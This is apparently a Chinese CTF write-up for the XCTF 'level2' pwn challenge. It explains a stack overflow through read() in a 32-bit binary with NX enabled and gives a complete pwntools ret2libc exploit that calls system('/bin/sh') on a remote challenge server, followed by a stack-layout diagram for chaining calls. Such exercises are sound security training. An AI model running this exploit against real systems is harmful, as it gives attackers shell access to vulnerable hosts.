day-7 xctf-level2

xctf-level2

题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055

拿到题目,查看一下相关信息:32位,开启了NX

 

放入ida查看:

 代码比较简单,进入vulnerable_function()查看,程序的功能是输入一段文字,显示Hello World!

 

 我们可以通过read函数,溢出到callsystem的位置,执行ststem('/bash/sh'),拿到shell权限

唔,这里附带一个链接知识:https://blog.csdn.net/qq_38990949/article/details/82895975

我们可以知道,payload = 'a' * (offset + 4) + sys_addr + ret_add + sh_addr

根据这个公式,offset为88,我们只为了取得shell,ret_add随便写就行了,需要找到sys_addr和sh_addr的地址

查找知识,看到这个寻找的方法:

sys_addr = elf.symbols['system']

sh_addr = elf.search('/bin/sh').next()

这样就可以写exp了:

# -*- coding:utf-8 -*-

from pwn import *

context.log_level = 'debug'

#cnn = process('./level2')
cnn = remote('111.198.29.45',52271)

elf = ELF('./level2')

system_addr = elf.symbols['system']

binsh_addr = elf.search('/bin/sh').next()

payload = 'a'*0x88+'a'*0x4 + p32(system_addr) + p32(4) + p32(binsh_addr)


cnn.sendlineafter('Input:',payload)

cnn.interactive()
exp

通过ls命令,然后cat flag就能获得flag

 

总结:推荐一波小知识:https://blog.csdn.net/qq_38990949/article/details/82895975

// 伪代码
 A(int arg_a1,int arg_a2)
 B(int arg_b1,int arg_b2,int arg_b3)
 C(int arg_c1,int arg_c2)
-------------------------------------
// B的压栈流程
 ---> ESP                                
        buf[128]                  
        EBP                       
        return                        //-->fake_addr_A
        arg_b1                        //-->4006b0  addr_pop_pop_ret
        arg_b2  arg_a1         //pop r14 
        arg_b3    arg_a2       //pop r15
        ret                           // --->fake_addr_C
        0                                 // --->C的返回地址,现在没用了
        arg_c1
        arg_c2
  -->EBP
NX利用结构
原文地址:https://www.cnblogs.com/yidianhan/p/11597188.html